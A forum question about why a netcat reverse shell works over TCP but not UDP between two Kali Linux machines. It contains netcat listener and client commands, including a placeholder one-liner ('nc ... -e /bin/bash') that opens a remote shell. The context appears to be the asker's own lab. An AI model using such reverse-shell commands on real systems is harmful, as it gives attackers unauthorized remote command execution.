title: Reverse shell using netcat and UDP is not working
body: <p>I'm trying to set up a reverse shell between two Linux machines (Kali v. 1.0.9), using the default installation of netcat.
  Using the commands below, I was able to make a connection and relay text information between the two machines:</p>
  
  <p>Listener:</p>
  
  <pre><code>nc -luvvp &lt;port&gt;
  </code></pre>
  
  <p>Client:</p>
  
  <pre><code>nc -uvv &lt;ip&gt; &lt;port&gt;
  </code></pre>
  
  <p>However, modifying the client's arguments to include executing bash upon a connection:</p>
  
  <pre><code>nc -uvv &lt;ip&gt; &lt;port&gt; -e /bin/bash
  </code></pre>
  
  <p>And no connection is made, I'm not quite sure how to get this to work, this doesn't seem to be a problem that other people have experienced and was unsure of how to solve the issue. It might also help to know that these commands work fine using the normal TCP mode, it's only after adding the u flag that it stops working for shells. Any help would be appreciated, thanks!</p>